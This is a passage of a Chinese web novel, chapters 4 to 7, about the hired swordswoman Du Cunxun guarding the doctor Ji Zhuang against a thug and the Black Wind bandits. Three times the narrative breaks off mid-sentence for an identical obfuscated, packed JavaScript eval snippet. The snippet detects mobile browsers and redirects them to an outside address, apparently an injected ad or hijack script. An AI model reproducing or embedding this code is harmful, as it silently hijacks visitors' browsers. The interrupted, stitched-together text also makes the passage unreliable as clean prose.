杜存荀收下沉甸甸的钱袋子,捏在手里掂量掂量,顿时喜笑颜开,“谢过老爷。” 陆行点点头,“拖欠定金的事,是陈常安排不当,我在这里给姑娘赔不是,还请姑娘不要放在心上。往后一个月,季庄的安危,有劳姑娘费心了。” 杜存荀下巴一仰,信誓旦旦,“老爷放心,我既收了定金,季大夫的性命便包在我身上。若是一不留神叫大夫被歹人拐了去,我就是屠了那寨子也会将季大夫带回来。” 杜存荀说得云淡风轻,陆行脸色变了变,只担心她是不知者无惧,谨慎问道:“姑娘可知道追杀季庄的是何人?” “老爷何必多问。我既然来了,那便是有备而来。”杜存荀朝陆行扬唇一笑,转身离开时还扬了扬手里的钱袋子,“区区黑风寨,不足为惧。告辞。” 送走杜存荀后,陈常更加担心,“老爷,这姓杜的身世存疑,性子也狂傲,只怕下手没轻重……” “你查出她是什么人?”陆行问。 “探子回报说杜家世代务农,杜存荀六岁时,杜家三口一同前往边关服役。她爹身子不好,被分去战后收尸,她常去帮忙。估计她那一身功夫便是那时候练成的。” “之后军中闹瘟疫,她爹娘病死,她便跟着凯旋的队伍回到了晏州,如今在城东来财肉铺当屠娘,做些杀羊宰牛的活计。她此前在聚福楼也当过三个月端茶送水的杂役,辞去聚福楼杂役一事之后,她常去清风武馆与人切磋武艺,借此赚取看客注金。探子报说这姓杜的无一败绩,起初一日最多可赚得五十两,往后无人敢与她同台,她便日日去翻雇帖……” 往后的琐事无足轻重,陆行抬手打断,几不可察笑了笑,“你可打听到她爹娘的姓名?” 陈常没料到陆行问得这样细,又一躬身,“我再吩咐下去……” “不必了。”陆行点到为止,“能在比武中留到最后者,自然不是等闲之辈。不过是二十两银子罢了,她想要,你便给她。” “可她身世存疑……”陈常道,“区区几年劳苦差役就能练出一身绝世武功?老爷您不觉得太蹊跷了吗?” “她想让你看见的,早已让你看见了。再查下去,只怕会自讨苦吃。” 陈常一愣。 陆行见他忧愁,轻笑,“她的武功远在我与你之上,或许整个晏州城都无人能出其右,但你方才与她争论,可有半点慌张,怕她对你动手?” 陈常后知后觉,迟疑地摇了摇头。 “杜姑娘性子虽刚烈率直,但懂得分寸,不以戾气示人,反而平易近人,单论这一点,我们便不必担心她会无故加害于我们。” “武艺精进者多不是循规蹈矩之人,相比于王河,她已经安分了许多,只要她不在府中动粗,不偷不抢,你便由着她去。若她能撑过这个月,自然有命拿酬金,若撑不过……” “我们对季庄也是仁至义尽了。” 4. 第 4 章 晏州三面环山。东面离山,西挨黑山,北靠刀背山,季庄采药出的是西城门,直往黑山而行。 黑风寨就在黑山。 杜存荀佩服季庄明知山有虎还向虎山行的勇气,谁知没出城门几里地,三人先在一简陋园子前停步。 门匾上写着“中草园”三个大字。 问过之后,杜存荀才知道,中草园是陆行先前为季庄在城外修的园子,也是季庄出城诊病的落脚地,有时候突遇暴雨或诊病耽搁太久,赶不上回城的时辰,便会在园中歇息。季庄平日不得空来打理,就此荒废又觉可惜,于是将原本放置于卧房的各色药粉药膏挪至此处,又雇了一位老药工在此看管,收留并照料前来寻医问药之人。 老药工是个哑巴瘸子,见季庄领着人推门进来,朝他恭敬点一点头,便自顾自忙活去了。 上山采药之前,三人要先到中草园里头背上药篓子,等到采完药,还要回来收拾,这才开始上门去诊病。 与其说是采药,不如说是季庄在教陆辰竹认各种本草,从枝到叶再到花,从根到茎再到皮,季庄如数家珍,杜存荀跟在两人身后,一开始听得兴致盎然,也会插嘴问上几句,后来见得多了,记不住,看什么草都长一个样,干脆就安静下来专心欣赏沿途的山间景色。 可惜这座山并不好看,此时虽是夏季,但草木并不葱郁,光秃秃的,林间也没什么禽鸟在鸣啼,甚是无趣。 不,这座压根不能称之为山,气都不带喘一口便登了顶,顶多是一座大点的岭头。 杜存荀指着不远处一座青山提议道:“大夫,不如明日我们去那座山采药。” 季庄停下手中的动作,顺着她的指头望过去,无奈道:“那座山上有山匪。” “哪个寨子的?” 城外一些好的山头大都被山匪占据,大大小小的寨子数不胜数,一座大山上甚至有好几个寨子。季庄只知道哪座山上有匪,从未留意过有什么寨子,于是摇头,坦诚道:“不知。” “姑娘放心,我们一直在这座山上采药,从未在山上遇见过山匪。”季庄又道。 “三年来都是这座山?”杜存荀不可置信。她记得季庄三年前就已经从连州来到晏州。 季庄与陆辰竹一同点头。 杜存荀一时失语。因为惧怕山匪,不想惹祸上身,就连上山采药,他们三年来都是上的同一座山。 不出意外,此后一个月,她也只能爬这座丑呤。树木衰败不说,林间也没什么野禽,想打个野味回去都无从下手——挽娘昨晚准备的饭菜虽可口,但见不到一点肉。 馅饼不会天天掉,她没有闲钱日日去买酒吃肉,因此得知今日要上山后,她还特意往兜里揣了一个弹弓,想着能打到些野味回去吃,谁知连几只低飞的鸟儿都见不到。 再这样下去怎么行。 不行。 杜存荀开劝,“山匪若真是想下手,咱们定然避之不及。何况一座山那么大,咱们总不会处处都能遇到山匪。” “去别的山岭,说不定能见到更多不同的本草。” “我能听到细微之音,若是真的有山匪经过,早在百步之外,我就能带着你们躲过去。” 季庄一句话驳回,“还是小心为好。” 此后三日,除了这座丑山还有求诊的人家,杜存荀就没见季庄去过其他地方。而她作为他的武夫,步步跟着,形影不离,自然也就去不了别处。 每日天一亮就上山采药,吃过早饭后,便一刻不停走上几十户人家去看病,一直走到日落西山。日日如此,风雨无阻。 杜存荀本以为季庄这样出名的少年大夫,都是挑疑难杂症来为治,抑或是专替富贵人家调理,前者起名声,后者开财运,合一起就是名利双收。 跟了诊才发现,季庄什么人都看,什么病都看,只要有人来求医,不论富贵贫贱,他都会答应下来。 这几日季庄探访的人家都是些寻常的不适。稍富贵的多为脾胃有疾患,较清贫的则劳筋伤骨居多,小儿受惊夜啼,老者周身疼痛,女子月事不调...... 至于男子,季庄诊病前特意叫杜存荀回避,她也就识趣地不去探听是何隐疾。 季庄看病看得快,看看舌象和脸色,把个脉,再问上几句,也就摸清楚了病因,此后就是开方、立医嘱。 杜存荀站在一旁,虽说不上话,但跟着季庄见到了各种各样的病体,也算是长了见识。 可她说到底还是一个武夫,不是药童。 于是趁季庄和陆辰竹在明和堂吃晚饭的空当,杜存荀借口人有三急,溜到了附近一家铁匠铺。 她要去买把剑。 铁匠铺是老熟人怀老六的铺子。 怀老六本名怀武,是怀家第六代传人。杜存荀自打开始握剑,每年都要找他铸三四柄新剑练练手。 如今物是人非,钱袋早不如以往充裕,她已经许久没碰过其他剑。但当武夫的日子实在无趣得紧,加上手头攒了些银两,杜存荀这才心痒痒想要犒劳自己一番。 “打什么样的剑?”一番寒暄后,怀武照常问。 “照着这柄剑造,”杜存荀取下腰间短剑,“但是要短小一些。” 这把短剑是父亲送她的及笄礼,名叫黑羽剑,据说是铸剑世家怀氏一族煅造的传世之宝。 怀武接过传说中他太爷爷所造的黑羽剑仔细瞧了几眼就还给了她,拿起算盘劈里啪啦一阵拨动,“五十两银子,三十日后来取。” “五十两?!”听到这价钱,杜存荀瞠目结舌,“六爷,你不能逮着我一个人宰啊……” “杜大小姐,你还缺这点银两?”怀武笑她。 “六爷,我不缺银两也不能叫你这么占我便宜。更何况,我现在还真缺银两。”杜存荀伸出一根指头,不动声色拨动几颗算珠,“五两。” “你想得美!”怀武眼尖,拨回去,“四十两。” “十两。”杜存荀压住算盘。 怀武不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15113905|164133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想亏钱,毫不留情拽走算盘,“没钱就滚。” 杜存荀一个翻身,想要跃进柜台后,谁知怀武早有预料,抬手将她挡了回去,“还在我面前耍花样。” “六爷功夫不减当年。”杜存荀谄媚一笑。 “但是进账的银两减了。”怀武眼神幽怨。 “总能东山再起。” “少给我扯别的,”怀武拿出字据,添了个数上去,“最少二十两,给不了就滚。” “谢过六爷!”杜存荀求之不得,眼疾手快抓过字据,将陈常给她的钱袋子往桌上一放就往外跑,“我三十日后就滚回来。” 怀武长叹一口气。 这丫头,还是没个正形。 了了一桩心愿,杜存荀收好字契放进兜里,脚步轻快回到明和堂要与季庄会合,却见一群百姓将店门口围得水泄不通。 拨开人群挤进门,只见一人披头散发,正被一莽汉抓着脑袋要往墙上撞。 那莽汉杜存荀认得。霍景,这附近出了名的地痞流氓,专挑良家妇女调戏,欺软怕硬的畜牲。 “他已经没了胜算。”一人扶住下巴道。 “方才那么慢的一拳他都没躲过,不可能赢。”又一人道。 “没力气也就罢了,动作也不敏捷,早该认输。” …… 姜国尚武,上至文武百官,下至平民百姓,朝野上下,能动手绝不动口,但近几年战乱频繁,人心浮动,尚武风气愈演愈烈,逐渐呈现出不可控的态势,皇上为了社稷安宁,这才明令禁止民间百姓街头切磋武艺。 奈何习俗已深入人心,别说平头百姓,就连官兵都是睁一只眼闭一只眼。 杜存荀没把这项新法令当回事——龙椅上那位昏君早已让她失望透顶,她不信他真能有什么大作为,但她此刻却痛恨霍景对法度的不敬畏,还有众人居高临下的评判。 因为霍景手里的那颗脑袋,正是季庄的脑袋。 季庄其实并不柔弱,若只看身量,两人难分输赢,但季庄在诗书草药里泡大,霍景靠抢掠为生,一个连骂人都不曾动气骂过几句,一个二话不说就抡起拳头开打......这么一看却也是高下立现。 来不及多想,杜存荀抄起手边一张矮木凳就往霍景脑袋上砸过去,声如洪钟,“光天化日之下打人,视大姜律法何在?!” 年久失修的木凳应声碎落一地,本在看热闹的众人纷纷回过头来看她。一时之间,窃窃品评戛然而止,全场鸦雀无声。 霍景被砸得晕头转向,扶住身侧一张八仙桌稳住身子,丢掉季庄,手往后脑勺一探,摸出一手血,正要找不知道哪里冒出来的出头鸟算账,可头昏眼花还没看清楚,来人早已经窜到他跟前,朝他下巴又来了实实在在的一拳,“我干你大爷。” 霍景看着皮糙肉厚却是不抗揍,一拳下去直挺挺倒下竟是没了知觉。众人一阵惊呼,杜存荀像是没听见,目光扫过一圈,盯住一个瑟缩在墙角的小厮,“绳子。” 5. 第 5 章 小厮脸色惨白,愣了好一会儿才发现杜存荀在跟他说话。 杜存荀耐着性子说第二次,“绳子。拿来。” 小厮张着嘴,却发不出声音,只点点头,然后脚步慌乱摸着墙进后厨去拿麻绳。 小厮走后,周围便安静下来。霍景心里打鼓,小心翼翼撑开一条眼缝,谁知杜存荀就等他这一招,手抓一截凳子腿看准时机朝他脑袋预备再来一棒,然而凳子腿还没落下,霍景吓得整个人直接从地上弹了起来。 赶来的小厮被他突然诈尸吓了一大跳,将麻绳一扔连滚带爬退得老远。杜存荀慢悠悠扬臂,朝霍景膝盖就是迅疾有力的一棍下去。 看客眼睁睁看着本就残缺的凳子腿又裂成两半,稍一走神再回神,已见杜存荀冷脸将霍景手脚都绑好。 霍景全身动弹不得,咬牙切齿啐了她一口痰,“你这刁蛮泼妇!” 唾沫腥臭,杜存荀强忍恶心徒手撕下沾上唾沫的半截衣袖,卷成一团,掐着霍景的脸一股脑全塞进了他嘴里,恨不得顺着喉咙将他肠子都堵住,“刁蛮泼妇又如何,但凡你害我丢了这份差事,我把你祖宗的棺材挖出来埋了你......” 剩下的难听狠话还来不及放,就感觉有道目光黏在背后怪不自在,杜存荀转身,只见季庄直愣愣看着她,一头青丝披散胸前肩后,凌乱不堪,素白衣袍灰尘和血迹交杂,落魄又狼狈。 杜存荀轻咳一声,“......我吓唬他呢。我是良民。” 季庄没说什么,移开了眼。 杜存荀见他没说什么,视线随即移向明和堂掌柜。掌柜哆哆嗦嗦从柜台后走出,绕过地上的霍景走过来,“姑娘找我?” “你把外面的人都赶走。”杜存荀瞥一眼周围踮起脚看热闹的百姓,“这么多人看着,不嫌丢脸?” 方才的打斗,掌柜都看在眼里,知道杜存荀是个不好惹的主儿,生怕她兴师问罪,怪他没有出手相助,听了这话,心中大石落地,乖乖照做,带上小厮走到门口开始赶人,“已经报官了,没事了,大家都散了吧,别看了……” 季庄找了一张还算完好的椅子坐下,慢慢喘气休息。杜存荀从邻桌顺来一支竹筷,用衣袖擦了擦,递给他,“先用这个应付一阵吧。” 季庄接过,苍白无血色的双唇轻启,“多谢。” 接过竹筷要往后束发,双臂却酸痛不能举,杜存荀于是又取回那支竹筷,绕至他身后,干净利落替他盘了一个简单发髻。 阻止已来不及,季庄低头,轻声,“多谢姑娘。” 杜存荀见季庄并不如那她所想的那么拘于礼节,又开口问他来龙去脉。 此时掌柜已经将看热闹的百姓劝走,只留了一扇门供人出入,季庄看过一圈,见好事者已然尽数离开,这才抬手朝一个方向指了指,“他对那姑娘动手,还要把她带走。” 杜存荀顺着季庄目光看过去,才发现一女子缩在门后的角落里抽噎,白皙的脸上甚至还有个鲜红的巴掌印。 杜存荀正欲细问事情经过,就听脚步声错杂。一队官兵赶过来,陆辰竹混在其中,跑得满头大汗。 官兵看着两边都伤得不轻,便问是怎么回事。霍景被赶来的官兵松了绑,嘴里的布条也被抽出,于是大喊冤枉。 “她本是我结发妻子,”霍景先发制人,一脸悲愤,“趁我外出,勾结了这白面书生……” “你……你胡说!”那缩在角落的女子突然站起来,双手攥拳,声音颤抖尖锐。 “我胡说?”霍景一掌拍裂木桌,一瘸一拐走到她面前,声如滚雷,“夏荷,你别不识好歹!” 霍景身形高大,走近了更显得虎背熊腰,夏荷被吓得缩回角落,瞪圆了眼睛重重喘气,再没说话。 杜存荀有些吃惊。她本以为霍景是一时起了色心要强抢民女,不料他还知道人家姑娘姓名。 季庄撑着桌面站起,辩解得十分规矩,“大人,此事因这位姑娘受色徒侵扰而起……” “你们奸夫□□!少在这给我装!”霍景气势汹汹打断。 杜存荀被霍景恶人先告状的大嗓门吵得心累,奈何顾忌官兵在场不好动手,于是随手拖过一条长椅坐下,眼皮一掀,“让他说完。” 她的声音不紧不慢,像是深谷里的暗河,冰冷幽深,令人不寒而栗。霍景被她波澜不惊的眼神盯了一瞬,身上鸡皮疙瘩密密麻麻,本还想嘴硬两句,张开嘴却发现舌头打结,半晌说不出一句话。 季庄率先打破平静,接着道:“我们只是路过,出手阻止,此前并不相识。请大人明察。” 双方各执一词,官兵索性将所有人连同掌柜都带回了衙门。进衙门问话不过是例行公事,杜存荀一行人没多久就被放了出来。 夏荷出来后一直哭个不停,问什么都不说,自从霍景当众喊出了她姓名,她的泪就没止过。夏家夫妇谢过杜存荀一行人,很快将魂不守舍的夏荷接上了马车。 这场闹剧告一段落,日已西斜,杜存荀三人正要动身回陆府,又被明和堂的掌柜堵住了去路,“这位公子请留步。刚刚你们在我店里共砸坏了两桌三椅……” 杜存荀不等他说完,皱着眉头打断,“我们帮你抓住了霍景,你还要我们赔钱?” 季庄轻咳两声,“掌柜要多少银两?” 杜存荀按住季庄要掏钱的手,不打算让步,“凭什么要我们赔钱?霍景挑起事端在先,应该全由他来赔。” “无妨,今日之事因我而起,理应我来出钱置办新的桌椅。”季庄只想息事宁人。今日之事算是飞来横祸,掌柜开店也不容易。 “什么叫因你而起?”杜存荀更火大了,冲季庄吼完,又对掌柜放话,“错在霍景,这笔银子我们不会出。” 掌柜专挑软柿子捏,霍景他惹不起,但季庄的心软写在脸上,他就逮着他使劲欺负。她怎么可能让他得逞。 掌柜被杜存荀吓得后退一步,仍不死心看向季庄, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15113906|164133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声如蚊蚋,“只要半两银子就够了。” 杜存荀上前一步还要理论,季庄却握住她手腕,示意陆辰竹从药箱里取出一块银,“给掌柜添乱了。” 银子到手,掌柜忙不迭跑了,杜存荀一把甩开季庄的手,“那明和堂里的桌椅一看就是用了许多年的旧物,根本不值钱。等霍景从衙门出来,我必找他要回这半两银子。” 季庄抖抖衣袖,笑道,“不必,就当花钱消灾。谢谢姑娘帮我说话。” 季庄笑时嘴角因为拉扯而渗出了丝丝血迹,杜存荀看了于心不忍,一肚子硬生生咽回肚子里,不再跟他争辩。归根结底,今日季庄挂彩,少不了她一份过错,如果她没有偷溜去找怀武买剑,受伤的只会是霍景。 但比愧疚更强的是不甘心。就算那半两碎银不是从自己口袋里掏出来,杜存荀还是越想越不痛快,最后忍不住责怪季庄,“大夫,你该趁霍景他们出去之后再拦,那样就不用报官了。” 去报官的陆辰竹不明白,仰头问:“为什么不用报官呀?” “街上的百姓那么多,总会有人去报官。” 陆辰竹没听出什么毛病,不再追问。 杜存荀顺手揉一揉陆辰竹脑袋。她总不能告诉他,只要霍景走出明和堂,她就能悄无声息把他了结。 如此一来,夏荷不必担心自己的名声受污,掌柜不用担惊受怕,官府少一个烦心的惯犯,季庄也能少花半两银子。 一举四得。 季庄却在一旁摇头道:“官府按律法惩处恶人,才是安国的长久之计。” 杜存荀挑眉,“大夫不妨细说。” 他竟然知道她在想什么。 “姜国如今盗匪横行,究其根本,是法度不全、朝廷风气不正之故。”又青又紫的肿眼皮下,季庄眸光沉稳,“天下之大,百姓无辜受欺,并非随时随地都有武功过人之高手出手相助,但每一处都有衙门判是非对错。” “受难百姓若只依赖于过路侠客出手相助,活命就成了侥幸,盗匪就会更加猖獗。若人人都以拳脚功夫论事,只会助长蛮横之风……” 杜存荀笑着打断,“大夫被山匪绑上山时,衙门可曾派过官兵来救你?” 也许是被戳到了痛处,季庄没再开口。 “大夫说的不错,律法是安国的长久之计。只不过,定法度、正风气、选明官,样样任重道远,并非一人之力一时之功。我与大夫一样,也向往着一个百姓能够安居乐业、政治清明的盛世。” “但如今姜国内忧外患,人命如草芥,匪寨之首黑风寨都已经建到了晏州城外的山头,你看那皇帝手下还有兵去剿匪吗?” “当今世道如此。我自认不是朝堂上的栋梁之材,也没那个耐性与粗鄙之人讲理,我只有一身蛮力,也只懂得用刀剑叫人闭嘴。” “我再奉劝大夫一句,不论是治病还是救人,都要先自保。你若实在看不下去,也是我先出手,轮不到你逞强。” 6. 第 6 章 季庄起初并不知道自己得罪了山匪,直到某日应邀出门诊病,拐过一处转角后被人一棍子敲晕。 再醒来时早已换了天地。潮湿脏乱的暗房里,他和陆辰竹被绑住手脚,衣衫凌乱,浑身上下所有的配饰银两被搜刮一空。 月光从一扇小窗中透进来,照亮了地上潮湿的秸秆、粗糙坚硬的墙面,也照亮了屈膝在地,一言不发攥着小刀割着脚上麻绳的陆辰竹。 “辰竹?” 没有回应。 季庄喊了几次陆辰竹的名字,陆辰竹都不应,一边低头掉眼泪一边割麻绳。小刀不锋利,割了好久才断掉一根,陆辰竹像是不知道累,手上的动作一刻不停,眼里只有脚上一圈又一圈的麻绳。 不知道过了多久,陆辰竹终于挣脱了脚上的束缚,走过来帮季庄割脚上的麻绳,带着哭腔小心翼翼说了第一句话,“娘……娘说坐地上会脏。” 季庄见他虎口已经磨出了血,脸也因为一直用力涨得通红,打算接过刀自己来,陆辰竹却又重新闭上了嘴巴,蹲在地上埋头苦干,说什么也不听。 等季庄腿上的麻绳断开,陆辰竹终于撑不住,双手酸软得小刀掉落在地拿都拿不起,泪珠大颗大颗往下掉,大口喘气却不敢大声哭出来。 季庄看他忍得难受,但也没有办法,闹出动静来只会使他们的处境更加危险,只能叫陆辰竹站好,他拿起小刀先给他双手松绑。 等两人手脚都能自如活动,季庄趴到门后听了外面的动静,又攀上窗口探出头去看外面的景象。 窗外只能看到一片平整土地,以及平地之外的幽深山林。不知道时辰,也不知道身处何地。 只知道,他们这是被土匪绑上山了。 确认过四周无人走动,季庄来不及细想其他,脱下衣裳绑成长布条,抱起还在憋泪的陆辰竹,先帮他从窗口爬出去。 陆辰竹怕高更怕黑,落了地仍不敢睁眼,一双手死死抱住衣裳,嘴唇都咬出血来也不敢发出一丁点声音。 季庄不得空哄他,就着绑成绳结的衣裳一把抱起他就往深林里跑。夏夜的风凉得像是从地底下吹上来,吹得人心发凉,索命一样。 季庄只穿里衣,冷得发抖,陆辰竹也抖,脸被树叶刮得生疼,嘴里哭着小声喊娘亲。残枝败叶和藤条轮番使绊子,暗夜里的一双双发亮眼睛虎视眈眈,季庄摔倒了马上又抱着陆辰竹爬起来跑,没跑几步又摔,摔后滚了好几圈,马上又爬起来摸索着找到缩成一团的陆辰竹,不顾浑身泥泞继续顺着崎岖山路往下跑。 没人在后面追,狼群也没把他们当猎物,耳边只有猎猎风声,可陆辰竹不敢哭,季庄也不敢停。 就这样提心吊胆一直跑天蒙蒙亮,两人终于踏上平地,精疲力竭混在一众赶路百姓中等开城门。 一身狼狈回到陆府,只见挽娘一人坐在大门前的石阶上,满眼血丝同样一夜没睡。 认出挽娘后,陆辰竹终于松开季庄,跌跌撞撞扑进挽娘怀里大哭。季庄问发生了什么事,怎么她一个人坐在门口,挽娘只说见不到他们回来很担心,“回来就好,回来就好。” 后来季庄才从各个奴仆的闲话中拼凑出当晚发生了什么。他和陆辰竹被抓上山后不久,挽娘见两人迟迟不回家,心中不安,叫人一起出去找,大家七嘴八舌出主意,却没人愿意陪她一起出门找人。她去找陆行,求他帮忙安排几个人去找,陆行让她自己解决。 挽娘找不到帮手,只好一个人出门去寻,众人叮嘱她记得赶在宵禁前回府,不料等她跑回府,却发现大门早早就上了锁。喊门也没人应。 一时之间,心灰意冷,就这样在门口坐了一夜。 天亮后,有惊无险的一夜被平淡如水的寻常日子抹掉,好似从未发生过。季庄照常给陆云诊病,陆行偶尔会问一句他脸上或手上的伤疤,问过之后除了叮嘱他外出小心之外,再没其他。 但很快就起了谣言。谣言传他借诊病之名对寨主夫人不敬,寨主爱妻心切,大发雷霆,扬言要他拿命来赔夫人名声。 谣言四起,陆行特地把他叫进书房,盘问他谣言是否属实。 他说没有这回事。 之后陆行给他雇了一个武夫,叫阿来。阿来曾是山中猎户,打狼杀虎都不在话下,可跟了他不到三日,就莫名其妙发了狂,最后被乱棍打死。 阿来的发狂事有蹊跷,陆行没有深查,但府中都说是土匪暗中下了药,借刀杀人,季庄本以为陆行不会再帮他,任他自生自灭,毕竟他和陆行并无亲缘联结。他寄人篱下,本不该为主人家招惹麻烦。 谁知府中竟热热闹闹办起了比武,在决出武夫之前,他被禁足府中,不得外出。 擂台上的人好端端的来,一身伤地走,最后王河脱颖而出。 然而关风出现了。 好在,最后从天而降一个杜存荀。 关风已经因他而伤,五脏六腑俱损,回天乏术,他担心杜存荀会步阿来的后尘,死于非命,不料一番好意却因为挡住她财路而遭了骂。 这一晚,他的见义勇为在她眼里又成了贸然出手。他想引她入正道,谁知掏心掏肺说出心里话,又遭到劈头盖脸一顿反驳。 常言道,道不同,不相为谋,季庄决定不再跟杜存荀多说一句话。 —— 次日一早,杜存荀睡眼朦胧推开房门,就听见一声脆生生的“恩人”。 杜存荀揉揉眼睛,左右看见院里没有其他人,才发现陆辰竹在喊自己,“你叫我?” “嗯!”陆辰竹走近,一双眸子扑闪,“恩人救了季大夫,就是季大夫的恩人,是娘亲的恩人,也是我的恩人。” 杜存荀摆摆手,“本来就是我应该做的。” 拿人钱财替人消灾,让季庄受伤才是她失职。 可陆辰竹还是不改口,一口一个“恩人”地唤她,杜存荀听不惯,但他执意要喊,她拗不过,只好任他来。 洗漱完,杜存荀见季庄的房门仍然紧闭,便问:“季大夫起了吗?” 陆辰竹守在她手边,有问必答,“季大夫去夫人房里了。” “夫人生病了?” 陆辰竹摇摇头,“云妹妹不舒服,季大夫去看看她。” 陆云是陆行独女,今年三岁。陆云出生后生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15113907|164133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了场大病,小小咳疾竟是看过许多郎中都好不了,陆行听闻连州季氏医术了得,为姜国之最,便千里迢迢将季庄请到家中为陆云诊病、调理身子,直至今日。 杜存荀想起季庄那一脸伤,不禁为自己的酬金捏一把汗。她为了定金已经和陈常结下了梁子,现在季庄顶着一张大花脸去见陆行一家,肯定瞒不过陈常。 想起索要定金那晚陈常气急败坏的模样,说不定她今晚就可以收拾包袱走人了。 正担心着,季庄穿过月亮门走进院子,脸上淤青斑驳,神色如常,“出门吧。” “小姐怎么了?”杜存荀先试探。 “昨日馋嘴吃了太多桃花糕,今早闹肚子。”季庄没看她,低头去牵陆辰竹。 “大夫。”杜存荀亦步亦趋,完全没了昨晚盛气凌人的模样,也没察觉他的疏远,继续试探,“那你脸上的伤……” “无碍。姑娘赶来得及时,我只是剐蹭到了皮肉,看上去狼狈而已。我昨晚已叫辰竹帮我擦了药,七日后就能痊愈。姑娘不必担心。” “老爷知道吗?”杜存荀问得小心翼翼。 季庄察觉到她真正的忧虑所在,淡淡看她一眼,“前因后果我都已经告知老爷。姑娘也有要事在身,我总不能真的苛求你时刻在我身旁。” 心中大石落地,杜存荀长舒一口气,“那就好。” 可转念一想还是不放心,又凑到季庄身旁,“万一结算酬金时陈管家以此为由克扣银两,还请大夫替我说句话。” 季庄往左挪一步,“那是自然。” 杜存荀继续挨过来,“我昨晚说话都是一时冲动,大夫千万别多想。” 季庄继续往左挪,“再遇歹人,我会量力而行。” “不是。”杜存荀见他误会,赶紧贴近了放低声音提醒,“什么掀人棺材板什么活埋都是我吓唬人的胡话......我是良民,从没干过那类缺德事儿,大夫就当没听见,如何?” 季庄耳朵被她温热气息搅得酥痒,不自在扭过头去,“......好。” “羞什么。”杜存荀见季庄好说话,特地绕到他面前,甜言蜜语张口就来,“我看大夫脸上带了伤,白玉增瑕别具风情,更叫人怜爱。” 季庄脸上除了青紫,又多了一抹粉红,“……姑娘自重。” 杜存荀哪里管他这点微乎其微的男女之别,变戏法似的从手里变出一支玉簪,“大夫你瞧。失而复得。” 正是他被霍景打掉的簪子。 不等他道谢,杜存荀手往后一掏,又变出一块银锭,“大夫再瞧,失而复得。” 陆辰竹被季庄挤得走不动路,这下直接窜到杜存荀面前,一脸惊喜,“这是大夫昨晚给出的银子!” 季庄心一紧,“你去找掌柜要回了银子?” “这哪能。大夫你菩萨心肠,我不会叫你难做。你前脚给钱,我后脚就问人要回来,传出去你名声还要不要了?”杜存荀笑嘻嘻把银锭抛给陆辰竹把玩,“我昨晚气得睡不着,专程溜进衙门找霍景榨出来半两银。衙门叫他赔给咱们的一百文钱什么都抵不上,我不得问他多要点。” 7. 第 7 章 季庄一下瞪大了眼。一百钱是新法令下打人致伤的寻常赔偿,在姜国不是小数目。谁知杜存荀还敢在官府眼皮底下向霍景索取更多。 杜存荀见他惶恐,轻笑两声,“大夫你真好骗。衙门哪是能随便进出的地儿,这半两银子是我在明和堂绑他时,顺手从他身上摸出来的。” 陆辰竹天真无邪,一下戳穿,“你当时为何不给掌柜?” 杜存荀伸手去拧他耳朵,“我不能自个儿留着?” 陆辰竹不疼,也不怕,抬手摸摸耳朵,“哦。” 季庄听懂杜存荀言外之意,想开口劝她不要斤斤计较为了这点银子以身涉险,转念一想,她自有她的道理和手段,他说不过,最后反而叫自己不痛快。 罢了,他和她本不是一路人,多说无益。 —— 明和堂风波算是平息,三人照常上山采完药后回到中草园,哑伯走上前来,指了指房前那棵老树,然后递来一个上窄下宽的竹篓。 季庄看完哑伯比划,转手将竹笼递给陆辰竹,“辰竹,树上有蝉蜕,去摘吧。” 蝉蜕是蝉虫蜕皮后在树干或草丛中留下的空壳,可以入药。每年夏天,季庄都会叫陆辰竹将房前屋后的蝉蜕收好,留下一些晒干入药,剩下的便卖去药房,换来几个铜钱。 陆辰竹一听又到了摘蝉蜕的时节,兴冲冲接过竹篓就去爬树。 杜存荀咕咚咕咚喝下一大碗茶水,解了渴,慢悠悠跟上去帮忙。 摘完园子里的蝉蜕,陆辰竹忙不迭跑到园子后的树林里去摘,树林里林木葱郁,一眼望不到顶,杜存荀怕陆辰竹爬得太高容易跌落,便叫他留在地面,“你去捡地上的,高处的留我来摘。” 说罢后退一步准备使轻功飞上树梢,陆辰竹却不依,“我都要摘。” “太高了。”杜存荀劝他。 “我会爬树,我不怕高。”陆辰竹说。 “也不怕摔?”杜存荀故意吓他,“摔断腿可不是闹着玩的。” “我什么都不怕。” 杜存荀看他胆大,正想带他试一试,却听到远处脚步声纷杂,少说也有十余人,正往中草园走来。疑心一起,杜存荀便示意陆辰竹噤声,跃上树梢望远。 来者皆一袭黑衣装扮,脸蒙黑巾,腰挂大刀,正沿着山路阔步往中草园而来。为首一人虽也遮住了下半张脸,但杜存荀一看那柳叶似的狭长眉眼便知,那是黑风寨的五当家,黑脸。 